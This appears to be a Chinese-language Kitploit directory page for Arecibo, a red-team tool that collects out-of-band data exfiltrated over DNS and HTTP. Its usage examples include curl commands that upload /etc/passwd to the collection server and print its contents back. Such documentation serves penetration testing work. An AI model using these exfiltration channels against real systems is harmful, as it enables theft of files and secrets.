Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Arecibo — 带外数据渗出端点(DNS和HTTP) | Kitploit
工具/GitHubGitHub/tarlogicsecurity/arecibo
数据泄露信息收集渗透测试红队DNS 分析
GitHubtarlogicsecurity/arecibo

Arecibo

带外数据渗出端点(DNS和HTTP)

查看仓库
94217年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Arecibo

用于带外数据泄露(DNS 和 HTTP)的端点

作者

Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)

DNS 数据泄露

创建一个新令牌:

root@kitploit:~
curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

现在你可以使用这个识别令牌来进行 DNS 解析(ABCD.TOKEN.x.yourdomain.com):

root@kitploit:~
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

你可以通过 /hitsdns/TOKEN 查看命中记录和泄露的数据:

root@kitploit:~
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

如果你想要所有拼接的数据,可以使用 /dumpdns/token:

root@kitploit:~
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

HTTP 数据泄露

生成令牌:

root@kitploit:~
curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

现在你可以通过 HTTP 请求(http://yourodmain.com/h/TOKEN)来泄露信息。GET/POST 参数、请求头和 IP 都会被 Arecibo 记录。

root@kitploit:~
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

要检索信息,使用 /hitshttp/TOKEN:

root@kitploit:~
 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

如果你需要显示自定义的 HTML、请求头或状态码,可以使用 POST 方法来设置其值(请求体必须是 base64 编码的):

root@kitploit:~
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

动态 DNS 解析

Arecibo 解析符合 X.Y.Z.A.ip.yourdomain.com 模式的域名为 X.Y.Z.A:

root@kitploit:~
> 10.0.0.1.ip.yourdomain.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   yourdomain.com
Address: 10.0.0.1

文件传输

使用 /upload 端点上传文件:

root@kitploit:~
curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

使用生成的令牌下载文件:

root@kitploit:~
curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

IP 信息

通过 /ip 显示客户端 IP:

root@kitploit:~
curl localhost:5000/ip
{"ip": "127.0.0.1"}

安装与配置

你需要从发行版仓库安装 pdns 和 pdns-backend-pipe,以及 Python 的 flask 和 flask_restful 模块。

  1. 用你的值编辑 arecibo-dns-backend.py 的配置
  2. 设置执行权限 chmod +x arecibo-dns-backend.py
  3. 编辑 pdns.conf(查看它在你的发行版中的位置)
root@kitploit:~
setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(将 setuid/setgid 改为用于运行 API 脚本的值,两者必须相同)

  1. 运行 arecibo-api.py 和 pdns_server(查看它们在你的发行版中的位置)

你的服务器必须配置为域的权威 DNS 服务器

重要提示: 你必须在 Arecibo 之前设置 nginx 或其他反向代理,以提供认证和安全性。

下载工具